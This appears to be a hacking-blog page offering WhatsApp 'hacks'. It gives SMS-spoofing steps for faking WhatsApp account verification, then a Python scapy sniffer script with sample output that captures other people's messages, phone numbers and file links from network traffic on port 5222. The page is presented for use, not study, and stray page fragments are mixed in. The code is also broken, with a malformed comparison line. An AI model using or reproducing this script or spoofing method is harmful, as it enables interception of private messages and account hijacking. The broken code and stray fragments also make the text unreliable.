DEADLY BLOG HACKER

• 7Zip – Click here to download
• A Windows Computer (Windows XP, Vista, Win 7, Win 8)
• A Phone running WhatsApp (iPhone, Android, Nokia, Blackberry etc)

Please upgrade your browser

Hack 1

If you are using an iPhone use the following details in the SMS spoofer application.

To: +447900347295
From: +(Country code)(mobile number)
Message: (your email address)

If you are using another device then check your outbox and copy the message details into the spoofer application and send the spoofed verification.

Hack 2

Example

DYN:~/whatsapp# python sniffer.py wlan0

#########################
## whatsapp sniff v0.1 ##
#########################

[+] Interface : wlan0
[+] filter : tcp port 5222

To : ***********
Msg : Hello, I will send you a file.

To : **********
Filename : .jpg
URL : https://mms*.whatsapp.net/a1/0/1/2/3/*md5hash*.jpg

From : ***********
Msg : Thanks file has been recieved, take this file too.

From : ***********
Filename : .jpg
URL : https://mms*.whatsapp.net/a2/0/2/3/1/*md5hash*.jpg

Code

#!/usr/bin/env python

import os
import sys
import scapy.all
import re

Previous_Msg = ""
Previous_Filename = ""
Files = []
Messages = []
Urls = []

def banner():
 print "#########################"
 print "## whatsapp sniff v0.1 ##"
 print "## qnix@0x80.org ##"
 print "#########################\n"

def whatsapp_parse(packet):
 global Previous_Msg
 global Previous_Filename
 global Files
 global Messages
 global Urls
 src = packet.sprintf("%IP.src%")
 dst = packet.sprintf("%IP.dst%")
 sport = packet.sprintf("%IP.sport%")
 dport = packet.sprintf("%IP.dport%")
 raw = packet.sprintf("%Raw.load%")

 # Target Sending stuff
 if dport == "5222":
 Filename = ""
 toNumber = ""
 Url = ""
 Msg = ""
 try:
 toNumber = re.sub("\D", "", raw)
 if(toNumber[5:16].startswith("0")): toNumber = toNumber[6:17]
 else: toNumber = toNumber[5:16]
 try:
 Filename = raw.split("file\\xfc")[1][1:37]
 Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]
 except:pass
 try: Msg = raw.split("\\xf8\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")
 except:pass
 except: pass
 if(len(toNumber) >= 10):
 if(len(Msg) >= 1 and Previous_Msg != Msg):
 Previous_Msg = Msg
 print "To : ", toNumber
 print "Msg : ", Msg
 Messages.append(Msg)
 elif(len(Filename) >= 1 and Previous_Filename != Filename):
 Previous_Filename = Filename
 print "To : ", toNumber
 print "Filename : ", Filename
 print "URL : ", Url
 Files.append(Filename)
 Urls.append(Url)

 # Recieved Messages
 if sport == "5222":
 Msg = ""
 fromNumber = ""
 Url = ""
 Filename = ""
 try:
 fromNumber = re.sub("\D", "", raw)
 if(fromNumber[5:16].startswith("0")): fromNumber = fromNumber[6:17]
 else: fromNumber = fromNumber[5:16]
 try:
 Filename = raw.split("file\\xfc")[1][1:37]
 Url = raw.split("file\\xfc")[1].split("\\xa5\\xfc")[1].split("\\xfd\\x00")[0][1:]
 except: pass
 try: Msg = raw.split("\\x02\\x16\\xfc")[1][4:-1].decode("string_escape")
 except: pass
 except:pass
 if(len(fromNumber) = 1 and Previous_Msg != Msg):
 Previous_Msg = Msg
 print "From : ", fromNumber
 print "Msg : ", Msg
 Messages.append(Msg)
 elif(len(Filename) >= 1 and Previous_Filename != Filename):
 Previous_Filename = Filename
 print "From : ", fromNumber
 print "Filename : ", Filename
 print "URL : ", Url
 Files.append(Filename)
 Urls.append(Url)
def callback(packet):
 sport = packet.sprintf("%IP.sport%")
 dport = packet.sprintf("%IP.dport%")
 raw = packet.sprintf("%Raw.load%")
 if raw != '??':
 if dport == "5222" or sport == "5222":
 whatsapp_parse(packet)

def main():
 banner()
 if(len(sys.argv) != 2):
 print "%s " % sys.argv[0]
 sys.exit(1)
 scapy.iface = sys.argv[1]
 scapy.verb = 0
 scapy.promisc = 0
 expr = "tcp port 5222"

 print "[+] Interface : ", scapy.iface
 print "[+] filter : ", expr
 scapy.all.sniff(filter=expr, prn=callback, store=0)

 print "[+] iface %s" % scapy.iface

if __name__ == "__main__":
 main()